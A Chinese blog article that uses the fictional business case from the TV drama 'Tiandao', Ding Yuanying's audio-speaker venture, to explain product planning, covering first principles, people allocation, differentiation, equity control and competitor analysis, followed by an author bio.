21:05·产品人卫朋今天主要借用《天道》中丁元英的商业案例来谈谈产品规划这个话题。《天道》这部被众人追捧的影视剧来源于豆豆的成名作《遥远的救世主》。如果没有全局做过产品或者市场的规划,而且是初次接触这部剧。你就会惊叹于主人公的组局、布局,以及成局的能力。从互联网拥簇的评论声中,也可见一斑。剧中的丁元英甚至都有一种被神化的趋势。而随着个人知识和阅历的增加,再加上每年也都要做产品规划。也逐渐对这部剧或者这本书有了一些新的认识。究其本质,这是一种战略性的思维,也是一种规划的能力。更是一种市场与内部能力的匹配过程。笔者之前也分享过这块的内容,也看到了一些质疑。怎么能用虚拟的案例做讲解呢?其实这么做的原因主要有两点考虑:首先,这部剧中的商业案例的整体逻辑是自洽的,而且也符合当时的商业环境。其次,整部剧将整个商业案例完整地呈现了出来,也包括其中很多的决策细节。这就要比分析现实案例直观得多,也更加有指导意义。再回到产品规划这个话题上来。产品规划从本质上来说是一种推演能力,也就是根据第一性原则推演产品从0到1、从1到100的一个过程。如果说一款产品是一个点的话,那产品规划便是通过构造一种系统能力以达成企业最终的商业目的。第一性原理是埃隆·马斯克非常推崇的一种思维模型。通常来说,企业愿景对应的便是企业的第一性原则。围绕第一性原则可以激发资源优势、制定细分市场目标,最终实现企业目标。下面以影视剧中丁元英操盘的格律诗音响项目为例,谈谈产品规划。格律诗音响公司的企业愿景是实现王庙村生产力和市场的对接,最终实现农户脱贫。这是企业的愿景,同时也是丁元英承诺要给红颜知己芮小丹创造的神话。启动一个项目或产品,资源和人力配置是你首先要考虑的。企业在不同的发展周期,对人的要求是有很大差异的。丁元英在分析完这些人的本质之后,并没有把自己的全套计划完整地告诉原始这些人。而是通过市场的变化来淘汰掉一部分人。因为这部分人现在不淘汰掉,在以后的市场变化中,可能会给公司带来毁灭性的灾难。下面就先梳理一下其中的关键人物:丁元英作为格律诗音响项目的唯一操盘手,全局规划了整个项目。他的优势是自己在欧洲的人脉和战略规划能力,以及在欧阳雪等人心中的影响力。同时,作为发烧级音乐玩家,他对音箱的独特见解也为他们打造差异化的产品起到了关键助力作用。差异化的意思是相比于竞争对手,你的独特优势或者护城河,没有这个前提,整个策略也就无从谈起,这为他们赢得了时间上的先机。在音响这个市场,竞品已经很成功了,而且他们提供的价值点已经被用户接受。如果按照他们的价值点去做产品,你就永远只能跟在他们身后。这时候就需要找一个跟他们不一样的价值点,做差异化。欧阳雪这个人呢,做事很踏实,很讲义气,不贪心。优势是人脉、资金和社会地位。这个人的价值在于她对格律诗的绝对控股,这样就可以确保关键决策权的归属。由于每个人的认知水平的限制,很多时候不同个体看到的终局是有极大差异的,这个时候你就需要考虑如何增加成事的确定性。如果开公司的话,股权的分配问题是你优先要考虑的。不赚钱的时候,大家还都能力出一孔。一旦公司有起色,每个人就开始有自己的诉求,不确定性也就随之而来。肖亚文见过世面,知道公司怎么运行,知道商务谈判和商务合作的事情,是很精明的职场人物。而冯世杰和叶晓明想成就一番事业,但没有机会,能够脚踏实地的做事情,但眼光欠缺。刘冰是小人物,唯利是图,关键时刻不能顶上,迟早会被淘汰。叶晓明,冯世杰,刘冰这三个人的优势就是懂音乐,会组装,可以作为高级技术工。同时,这三人和王庙村农民有一定的关系,可以作为连接的纽带,核心竞争力是技术和人脉。乐圣公司的掌舵人是林雨峰(竞争对手),但太过刚硬,只知道进攻,不懂防守,考虑问题存在漏洞。这就有点类似竞争分析了,通过分析竞争对手的漏洞,找到破局点,制定商业竞争策略。接下来就需要统一思想了:想要以小博大,达成乐圣跟王庙村合作的目的,就必须把优势发挥到最大效果。这才有几次股东开会,召集农民兄弟一起开会等,就是为了统一思想。市场的生存竞争非常残酷,胜负往往就在毫厘之间,微弱的优势都可能成为关键一环,你比他多一口气,你就是赢家。最后,丁元英就把这些人的优势资源整合起来,按照需要组建公司,精心规划。详细案例分析可以参阅笔者之前的文章。卫朋人人都是产品经理受邀专栏作家,CSDN 嵌入式领域新星创作者、资深技术博主。2020 年 8 月开始写产品相关内容,截至目前,人人都是产品经理单渠道阅读 56 万+,鸟哥笔记单渠道阅读200 万+,CSDN 单渠道阅读 210 万+,51CTO单渠道阅读 180 万+。卫朋入围2021/2022年人人都是产品经理平台年度作者,光环国际学习社区首批原创者、知识合作伙伴,商业新知 2021 年度产品十佳创作者,腾讯调研云2022年达人榜第三名。文章被人人都是产品经理、CSDN、华为云、运营派、产品壹佰、鸟哥笔记、光环国际、商业新知、腾讯调研云等头部垂直类媒体转载。文章见仁见智,各位看官可策略性选择对于自己有用的部分。
文章
安全  ·  IDE  ·  物联网  ·  测试技术  ·  开发工具  ·  Android开发  ·  git
2023-02-27
...
跳转至:
安全
1237 人关注 | 24084 讨论 | 85298 内容
+ 订阅
  • Linux与gitee的连接
  • 冯诺依曼体系结构
  • STL简介
查看更多 >
开发与运维
5754 人关注 | 133071 讨论 | 317722 内容
+ 订阅
  • 系统文件IO/文件描述符/重定向/FILE/缓冲区的理解
  • Linux进程控制
  • 万字讲解Linux进程概念
查看更多 >
数据库
252931 人关注 | 51793 讨论 | 98647 内容
+ 订阅
  • Linux之gdb的使用
  • 飞天加速计划高校学生在家实践
  • 美团:某动态线程池框架是官方开源的么?
查看更多 >
云原生
234317 人关注 | 11551 讨论 | 47159 内容
+ 订阅
  • 飞天加速计划高校学生在家实践
  • 美团:某动态线程池框架是官方开源的么?
  • docker 与 podman 的故事:一个方兴未艾,一个异军突起
查看更多 >
人工智能
2858 人关注 | 12180 讨论 | 102043 内容
+ 订阅
  • STL简介
  • 机器学习模型的性能评估方法
  • 逻辑电路&代数运算(下)
查看更多 >